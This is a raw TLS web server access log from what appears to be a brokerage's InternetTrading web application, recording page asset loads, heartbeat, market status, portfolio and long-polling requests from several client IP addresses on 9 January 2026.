[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01.jpg HTTP/1.1" 3582
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu04.jpg HTTP/1.1" 3470
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu_logout.jpg HTTP/1.1" 2595
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161913 HTTP/1.1" 4816
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767929565266 HTTP/1.1" 3179
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu04.jpg HTTP/1.1" 3470
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/trade.html HTTP/1.1" 2115
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01_o.jpg HTTP/1.1" 3474
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=sc HTTP/1.1" 293
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 230
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1844
[09/Jan/2026:11:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929567708 HTTP/1.1" -
[09/Jan/2026:11:28:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929570221 HTTP/1.1" -
[09/Jan/2026:11:28:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:28:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929567783 HTTP/1.1" -
[09/Jan/2026:11:28:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929584232 HTTP/1.1" -
[09/Jan/2026:11:28:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:28:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:28:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1154
[09/Jan/2026:11:28:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929572743 HTTP/1.1" -
[09/Jan/2026:11:28:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929575375 HTTP/1.1" -
[09/Jan/2026:11:28:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929572813 HTTP/1.1" -
[09/Jan/2026:11:28:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929590227 HTTP/1.1" -
[09/Jan/2026:11:28:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929577763 HTTP/1.1" -
[09/Jan/2026:11:28:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929580438 HTTP/1.1" -
[09/Jan/2026:11:28:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929577841 HTTP/1.1" -
[09/Jan/2026:11:28:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929596228 HTTP/1.1" -
[09/Jan/2026:11:28:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929582796 HTTP/1.1" -
[09/Jan/2026:11:28:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929585557 HTTP/1.1" -
[09/Jan/2026:11:28:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929582916 HTTP/1.1" -
[09/Jan/2026:11:28:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929602233 HTTP/1.1" -
[09/Jan/2026:11:28:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929587816 HTTP/1.1" -
[09/Jan/2026:11:28:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929590675 HTTP/1.1" -
[09/Jan/2026:11:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929587999 HTTP/1.1" -
[09/Jan/2026:11:28:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929592849 HTTP/1.1" -
[09/Jan/2026:11:28:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929595877 HTTP/1.1" -
[09/Jan/2026:11:28:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929608231 HTTP/1.1" -
[09/Jan/2026:11:28:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:28:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1843
[09/Jan/2026:11:28:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929593083 HTTP/1.1" -
[09/Jan/2026:11:28:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:28:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929597871 HTTP/1.1" -
[09/Jan/2026:11:28:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929601023 HTTP/1.1" -
[09/Jan/2026:11:28:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:28:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929614229 HTTP/1.1" -
[09/Jan/2026:11:28:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929598160 HTTP/1.1" -
[09/Jan/2026:11:28:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:28:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:28:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:28:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929602892 HTTP/1.1" -
[09/Jan/2026:11:28:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929606145 HTTP/1.1" -
[09/Jan/2026:11:28:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929603182 HTTP/1.1" -
[09/Jan/2026:11:28:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929620223 HTTP/1.1" -
[09/Jan/2026:11:28:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929607921 HTTP/1.1" -
[09/Jan/2026:11:28:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929611199 HTTP/1.1" -
[09/Jan/2026:11:29:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929608358 HTTP/1.1" -
